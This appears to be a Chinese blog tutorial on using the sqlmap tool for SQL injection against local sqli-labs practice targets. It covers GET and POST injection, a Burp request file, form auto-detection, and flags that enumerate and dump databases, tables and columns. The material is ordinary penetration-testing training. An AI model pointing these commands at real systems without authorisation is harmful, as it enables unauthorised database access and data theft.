SQL注入之sqlmap

目录

1.sqlmap

1.1Sqlmap简介:

 1.2Sqlmap支持的注入方式:

安装

2.sqlmap使用get型注入

3.sqlmap使用post注入

3.1 注入方式一:

3.2注入方式二:自动搜索表单的方式


1.sqlmap

1.1Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

 1.2Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

* 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
* 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
* 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
* 联合查询注入:在可以使用Union的情况下的注入。
* 堆查询注入:可以同时执行多条语句时的注入。
* 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

安装

首先下载python环境

www.python.org在官网下载

检查是否安装好

然后下载sqlmap

sqlmap.org

检查是否安装好了

2.sqlmap使用get型注入

判断是否存在注入:

假设目标注入点是 `http://127.0.0.1/sqli-labs/Less-1/?id=1`,判断其是否存在注入的命令如下:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]  输入"n"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
GET参数'id'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"n"

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"

运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 `id`存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

常用命令:

-u:用于get提交方式,后面跟注入的url网址
--level
--risk

--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和refereer

risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入

3.sqlmap使用post注入

POST型:与数据库交互是通过post数据进行,URL不可见

利用sqlmap进行POST注入,常见的有三种方法:

3.1 注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

2.列数据库:

python sqlmap.py -r D:\xiaoyu\Desktop\1.txt -p uname --dbs

也可以使用  *  指定需要测试的参数

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]  输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]**
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"Y"

3猜表

选择一个数据库,比如选test

python sqlmap.py -r D:\xiaoyu\Desktop\1.txt -p uname -D test --tables

4.猜列

python sqlmap.py -r D:\xiaoyu\Desktop\1.txt -p uname -D test -T t1 --columns

3.2注入方式二:自动搜索表单的方式

python sqlmap.py -u "http://127.0.0.1/sqli_labs_sqli-php7/Less-11/: --forms

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q]  输入"Y"

do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n]  输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n]  输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"N"

do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入"Y"

常用命令:
-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值